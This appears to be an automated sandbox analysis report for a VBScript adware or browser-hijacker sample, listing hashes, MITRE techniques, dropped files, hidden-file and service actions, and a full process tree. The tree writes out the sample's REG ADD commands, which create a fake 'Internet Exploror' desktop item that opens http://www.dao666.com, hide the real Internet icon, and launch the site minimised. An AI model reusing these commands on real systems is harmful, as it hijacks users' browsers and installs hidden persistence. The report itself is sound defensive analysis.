26e7283252ae97037cbd44690823c6e45870a12687c4394c62f2ff78e22877a3

Analysis

max time kernel
122s
max time network
148s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
26/12/2023, 11:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ha.vbs
Size

1KB
MD5

97b8dddd4361596cdeb6851a0639d834
SHA1

7f35a8018d53777c449b9703a867c0f41b542e62
SHA256

fa554b0be47bc18d0992bf700e8495ad29237d88413faac60cc1850a51dedb80
SHA512

d3103e2bd9c5e272ae7f80e27c62ca70ee06adb6b6c85b2c60f34e781ed54f140caa1cb4f0787256e4e66cd47dd4047cee0bb50a13bac581a05f47d904009f4b

Score

8^/10

evasion persistence

Malware Config

Signatures

Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003

Sets file to hidden 1 TTPs 6 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
2124	attrib.exe
2788	attrib.exe
2860	attrib.exe
2700	attrib.exe
1568	attrib.exe
2760	attrib.exe

Deletes itself 1 IoCs

pid	Process
2688	cmd.exe

Registers COM server for autorun 1 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32\ = "%systemRoot%\\system32\\shdocvw.dll"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32\ThreadingModel = "Apartment"	reg.exe

Drops file in Program Files directory 21 IoCs

description	ioc	Process
File created	C:\Program Files\WinWare\36OSE.vbs	cmd.exe
File opened for modification	C:\Program Files\WinWare\36OSE.vbs	cmd.exe
File opened for modification	C:\Program Files\Windows\36OSE.vbs	cmd.exe
File created	C:\Program Files\WinWare\360.cmd	cmd.exe
File opened for modification	C:\Program Files\WinWare\361.cmd	cmd.exe
File created	C:\Program Files\WinWare\360SE.vbs	cmd.exe
File opened for modification	C:\Program Files\WinWare\Internet Exploror.lnk	cmd.exe
File opened for modification	C:\Program Files\WinWare\361.cmd	attrib.exe
File created	C:\Program Files\Windows\36OSE.vbs	cmd.exe
File opened for modification	C:\Program Files\WinWare\360.cmd	attrib.exe
File created	C:\Program Files\Windows\360SE.vbs	cmd.exe
File opened for modification	C:\Program Files\WinWare\winare.vbs	cmd.exe
File created	C:\Program Files\WinWare\tool.cmd	cmd.exe
File created	C:\Program Files\WinWare\361.cmd	cmd.exe
File opened for modification	C:\Program Files\WinWare\360SE.vbs	cmd.exe
File created	C:\Program Files\WinWare\Internet Exploror.lnk	cmd.exe
File opened for modification	C:\Program Files\WinWare\tool.cmd	attrib.exe
File opened for modification	C:\Program Files\Windows\360SE.vbs	cmd.exe
File created	C:\Program Files\WinWare\winare.vbs	cmd.exe
File opened for modification	C:\Program Files\WinWare\tool.cmd	cmd.exe
File opened for modification	C:\Program Files\WinWare\360.cmd	cmd.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Mail\UltraEdit\winare.vbs	cmd.exe
File created	C:\Windows\Mail\UltraEdit\is.cmd	cmd.exe
File opened for modification	C:\Windows\Mail\UltraEdit\is.cmd	cmd.exe
File created	C:\Windows\Mail\UltraEdit\winare.vbs	cmd.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2032	sc.exe
1644	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d80bef292bee784c8e3c940d61fdfeb8000000000200000000001066000000010000200000000eee13d54fca593b34c57cb1ace91807671a581941f4fb3181f09fb5a9653b77000000000e800000000200002000000069615c733d96ceb3c83a54f7db663948bdcfdbde6d55678e40e1f1c2cb23814c9000000057883318beaf3098673dfeab29273fc59a63700a81141ac723c717d77f12017faed8a617aa26a78f5b33ea4332111e0666ce20c1f7b85c5481412c8c4080e254a66117bb104717cb99ad6a7a68c8d74e5524b8d4db321f564821840ff416f10fdbcb34a195124b7a87b265cf756ff9decf353294c61fe098d80e49a5414a19e2766cae47a44fb98c84bf89ab9944e9d140000000e3124e7cbf4b117b7226595a54f61d3d3f1bf06ecba5e95e203e86e1d98f9431d67010f5783f8a64cd54979fad5793531d66d5c0f1ef00997a28f8685da374c1	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "409869050"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c00000000000000010000000083ffff0083ffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a0201246ff38da01	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{7104B981-A4F2-11EE-995E-62DD1C0ECF51} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d80bef292bee784c8e3c940d61fdfeb800000000020000000000106600000001000020000000d70cde90a987bd1bb131399e96d5a1a64b7078ec3d182d27f67456b96432b78b000000000e80000000020000200000004387f056e0dc52fc1c634accd62411b8d10d3d03fc6f1bcf76ddaa41200df76520000000cdb5dcff6281b921e9b6b9ff111d9d2c89c0ca6a9de97e147b96297f83160d0740000000228ae122f5ac6b4347ff2dce3891b46c875b97208cfb5ec5ab51046a7a928d574d471247c0f05d409ec9ffc49ddfce7266528a3d4f5cdc51f12c326bacd32dc9	iexplore.exe

Modifies registry class 44 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder\WantsParsDisplayName	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)\Command\ = "C:\\progra~1\\Intern~1\\iexplore.exe http://www.dao666.com/?in"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InfoTip = "▓Θ╒╥▓ó╧╘╩╛ Internet ╔╧╡─╨┼╧ó║══°╒╛"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder\HideFolderVerbs	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\LocalizedString = "Internet Exploror"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32\ = "%systemRoot%\\system32\\shdocvw.dll"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32\ThreadingModel = "Apartment"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\ = "┤≥┐¬╓≈╥│(&H)"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)\Command\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder\HideOnDesktopPerUser	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)\MUIVerb = "@shdoclc.dll,-10241"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)\Command\	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder\Attributes = "0"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon\ = "shdoclc.dll,0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)\Command	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)\Command\ = "C:\\progra~1\\Intern~1\\iexplore.exe http://www.dao666.com/?in"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)\Command	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)\Command	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)\Command	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder\	reg.exe

Runs net.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2132	iexplore.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2132	iexplore.exe
2132	iexplore.exe
2584	IEXPLORE.EXE
2584	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2148 wrote to memory of 2524	2148	WScript.exe	28
PID 2148 wrote to memory of 2524	2148	WScript.exe	28
PID 2148 wrote to memory of 2524	2148	WScript.exe	28
PID 2524 wrote to memory of 2132	2524	cmd.exe	31
PID 2524 wrote to memory of 2132	2524	cmd.exe	31
PID 2524 wrote to memory of 2132	2524	cmd.exe	31
PID 2148 wrote to memory of 2332	2148	WScript.exe	32
PID 2148 wrote to memory of 2332	2148	WScript.exe	32
PID 2148 wrote to memory of 2332	2148	WScript.exe	32
PID 2332 wrote to memory of 2592	2332	cmd.exe	34
PID 2332 wrote to memory of 2592	2332	cmd.exe	34
PID 2332 wrote to memory of 2592	2332	cmd.exe	34
PID 2332 wrote to memory of 2560	2332	cmd.exe	35
PID 2332 wrote to memory of 2560	2332	cmd.exe	35
PID 2332 wrote to memory of 2560	2332	cmd.exe	35
PID 2132 wrote to memory of 2584	2132	iexplore.exe	36
PID 2132 wrote to memory of 2584	2132	iexplore.exe	36
PID 2132 wrote to memory of 2584	2132	iexplore.exe	36
PID 2132 wrote to memory of 2584	2132	iexplore.exe	36
PID 2332 wrote to memory of 1912	2332	cmd.exe	37
PID 2332 wrote to memory of 1912	2332	cmd.exe	37
PID 2332 wrote to memory of 1912	2332	cmd.exe	37
PID 2332 wrote to memory of 1268	2332	cmd.exe	38
PID 2332 wrote to memory of 1268	2332	cmd.exe	38
PID 2332 wrote to memory of 1268	2332	cmd.exe	38
PID 2332 wrote to memory of 3064	2332	cmd.exe	39
PID 2332 wrote to memory of 3064	2332	cmd.exe	39
PID 2332 wrote to memory of 3064	2332	cmd.exe	39
PID 2332 wrote to memory of 2340	2332	cmd.exe	40
PID 2332 wrote to memory of 2340	2332	cmd.exe	40
PID 2332 wrote to memory of 2340	2332	cmd.exe	40
PID 2332 wrote to memory of 2568	2332	cmd.exe	41
PID 2332 wrote to memory of 2568	2332	cmd.exe	41
PID 2332 wrote to memory of 2568	2332	cmd.exe	41
PID 2332 wrote to memory of 532	2332	cmd.exe	42
PID 2332 wrote to memory of 532	2332	cmd.exe	42
PID 2332 wrote to memory of 532	2332	cmd.exe	42
PID 2332 wrote to memory of 1048	2332	cmd.exe	43
PID 2332 wrote to memory of 1048	2332	cmd.exe	43
PID 2332 wrote to memory of 1048	2332	cmd.exe	43
PID 2332 wrote to memory of 1976	2332	cmd.exe	44
PID 2332 wrote to memory of 1976	2332	cmd.exe	44
PID 2332 wrote to memory of 1976	2332	cmd.exe	44
PID 2332 wrote to memory of 1588	2332	cmd.exe	45
PID 2332 wrote to memory of 1588	2332	cmd.exe	45
PID 2332 wrote to memory of 1588	2332	cmd.exe	45
PID 2332 wrote to memory of 560	2332	cmd.exe	46
PID 2332 wrote to memory of 560	2332	cmd.exe	46
PID 2332 wrote to memory of 560	2332	cmd.exe	46
PID 2332 wrote to memory of 108	2332	cmd.exe	47
PID 2332 wrote to memory of 108	2332	cmd.exe	47
PID 2332 wrote to memory of 108	2332	cmd.exe	47
PID 2332 wrote to memory of 1632	2332	cmd.exe	48
PID 2332 wrote to memory of 1632	2332	cmd.exe	48
PID 2332 wrote to memory of 1632	2332	cmd.exe	48
PID 2332 wrote to memory of 368	2332	cmd.exe	49
PID 2332 wrote to memory of 368	2332	cmd.exe	49
PID 2332 wrote to memory of 368	2332	cmd.exe	49
PID 2332 wrote to memory of 1260	2332	cmd.exe	50
PID 2332 wrote to memory of 1260	2332	cmd.exe	50
PID 2332 wrote to memory of 1260	2332	cmd.exe	50
PID 2332 wrote to memory of 2888	2332	cmd.exe	51
PID 2332 wrote to memory of 2888	2332	cmd.exe	51
PID 2332 wrote to memory of 2888	2332	cmd.exe	51

Views/modifies file attributes 1 TTPs 6 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2700	attrib.exe
1568	attrib.exe
2760	attrib.exe
2124	attrib.exe
2788	attrib.exe
2860	attrib.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ha.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C start /min iexplore http://www.dao666.com/index2.html?cn
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2524
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://www.dao666.com/index2.html?cn
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2132
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2132 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C .\tool.cmd
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2332
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoInternetIcon" /t REG_DWORD /d 1 /f
    3⤵
    PID:2592
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    - Modifies registry class
    PID:2560
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}" /v "InfoTip" /t REG_SZ /d "▓Θ╒╥▓ó╧╘╩╛ Internet ╔╧╡─╨┼╧ó║══°╒╛" /f
    3⤵
    - Modifies registry class
    PID:1912
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}" /v "LocalizedString" /t REG_SZ /d "Internet Exploror" /f
    3⤵
    - Modifies registry class
    PID:1268
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon"
    3⤵
    - Modifies registry class
    PID:3064
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon" /ve /t REG_EXPAND_SZ /d "shdoclc.dll,0" /f
    3⤵
    - Modifies registry class
    PID:2340
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32"
    3⤵
    - Registers COM server for autorun
    - Modifies registry class
    PID:2568
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32" /ve /t REG_SZ /d "%systemRoot%\system32\shdocvw.dll" /f
    3⤵
    - Registers COM server for autorun
    - Modifies registry class
    PID:532
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
    3⤵
    - Registers COM server for autorun
    - Modifies registry class
    PID:1048
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell"
    3⤵
    - Modifies registry class
    PID:1976
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell" /ve /t REG_SZ /d "┤≥┐¬╓≈╥│(&H)" /f
    3⤵
    - Modifies registry class
    PID:1588
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)"
    3⤵
    - Modifies registry class
    PID:560
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)" /v "MUIVerb" /t REG_SZ /d "@shdoclc.dll,-10241" /f
    3⤵
    - Modifies registry class
    PID:108
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)\Command"
    3⤵
    - Modifies registry class
    PID:1632
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)\Command" /ve /t REG_SZ /d "C:\progra~1\Intern~1\iexplore.exe http://www.dao666.com/?in" /f
    3⤵
    - Modifies registry class
    PID:368
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)"
    3⤵
    - Modifies registry class
    PID:1260
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)\Command"
    3⤵
    - Modifies registry class
    PID:2888
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)\Command" /ve /t REG_SZ /d "C:\progra~1\Intern~1\iexplore.exe http://www.dao666.com/?in" /f
    3⤵
    - Modifies registry class
    PID:596
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder"
    3⤵
